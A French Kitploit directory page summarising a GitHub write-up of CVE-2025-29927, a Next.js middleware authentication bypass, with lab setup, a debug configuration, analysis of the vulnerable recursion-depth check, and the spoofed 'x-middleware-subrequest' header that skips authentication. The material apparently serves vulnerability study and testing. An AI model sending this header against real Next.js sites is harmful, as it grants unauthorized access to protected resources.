Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29927 — Next.js Middleware Auth Bypass | Kitploit
Outils/GitHubGitHub/oyst3r1ng/cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHuboyst3r1ng/cve-2025-29927

CVE-2025-29927

Next.js Middleware Auth Bypass

Voir le dépôt
2il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Introduction

Contournement du mécanisme d'authentification du middleware Next.js en falsifiant l'en-tête de requête x-middleware-subrequest, permettant un accès non autorisé aux routes protégées.

Configuration de l'environnement

Le code source du projet est extrait de P神, la version Next.js est 15.2.2 (For Next.js 15.x, this issue is fixed in 15.2.3).

Environnement de vulnérabilité

Assurez-vous que Node et npm sont installés. Vérifiez les versions avec les commandes suivantes :

root@kitploit:~
node -v
npm -v

Installez les dépendances et démarrez le projet

root@kitploit:~
# 1. Entrez dans le répertoire du projet
cd vulenv

# 2. Installez Yarn globalement (si ce n'est pas déjà fait)
npm install -g yarn

# 3. Installez les dépendances du projet
yarn install

# 4. Démarrez le serveur de développement
npm run dev

Ou en une seule commande :

root@kitploit:~
cd vulenv && npm install -g yarn && yarn install && npm run dev

Succès comme ci-dessous :

alt text

alt text

Environnement de débogage

Configuration du débogage VSCode comme suit

root@kitploit:~
{
    "version": "0.2.0",
    "configurations": [
      {
        "name": "Next.js: debug server-side",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev"
      },
      {
        "name": "Next.js: debug client-side",
        "type": "chrome",
        "request": "launch",
        "url": "http://localhost:3000"
      },
      {
        "name": "Next.js: debug full stack",
        "type": "node-terminal",
        "request": "launch",
        "command": "npm run dev",
        "serverReadyAction": {
          "pattern": "- Local:.+(https?://.+)",
          "uriFormat": "%s",
          "action": "debugWithChrome"
        }
      }
    ]
  }

Analyse

  1. Point de déclenchement de la vulnérabilité comme suit
root@kitploit:~
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
    var _params_request_body;
    const runtime = await getRuntimeContext(params);
    const subreq = params.request.headers[`x-middleware-subrequest`];
    const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
    const MAX_RECURSION_DEPTH = 5;
    const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
    if (depth >= MAX_RECURSION_DEPTH) {
        return {
            waitUntil: Promise.resolve(),
            response: new runtime.context.Response(null, {
                headers: {
                    'x-middleware-next': '1'
                }
            })
        };
    }
    ......

Une fonction middleware vise à détecter la profondeur des appels récursifs pour éviter les boucles infinies. Son mécanisme repose sur l'en-tête de requête x-middleware-subrequest, le divisant en plusieurs noms de sous-requêtes avec le séparateur :, et compte le nombre d'occurrences identiques au nom du middleware actuel params.name (c'est-à-dire le niveau de récursion). Lorsque le niveau de récursion atteint ou dépasse le seuil défini (par défaut MAX_RECURSION_DEPTH = 5), le middleware saute la logique principale, comme la vérification d'identité, et continue le traitement de la requête.

Astuce : éviter les appels récursifs infinis, l'idée générale est la suivante

root@kitploit:~
L'utilisateur accède à /dashboard
↓
le middleware intercepte, demande /api/auth
↓
/api/auth déclenche à nouveau le middleware
↓
le middleware demande à nouveau /api/auth
↓
...
Boucle infinie ! 🌀
  1. Idée d'exploitation comme suit

Le middleware s'appelle middleware, vous pouvez construire l'en-tête de requête suivant :

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

La construction ci-dessus fera en sorte que depth = 5, déclenchant directement :

root@kitploit:~
if (depth >= MAX_RECURSION_DEPTH)

Si l'application place la logique de vérification d'identité dans le middleware, cela amènera le middleware à quitter la logique d'authentification et à retourner

root@kitploit:~
x-middleware-next: 1

permettant à la requête de continuer vers le backend, obtenant des ressources protégées sans authentification.

  1. Exploitation comme suit

Placez un point d'arrêt à l'endroit ci-dessous (chemin détaillé : CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) puis démarrez le débogage.

alt text

Envoyez le payload

alt text

Arrêt à l'endroit ci-dessous, vous pouvez voir que la valeur de depth est 5

alt text

Continuez l'exécution pour obtenir les ressources protégées

alt text

Poc

Écrit sur la base de Pocsuite3, voir les détails dans Poc_CVE-2025-29927.py.

alt text

Référence

Next.js and the corrupt middleware: the authorizing artifact

Next.js Middleware Authorization Bypass (CVE-2025-29927)

Télécharger l’outil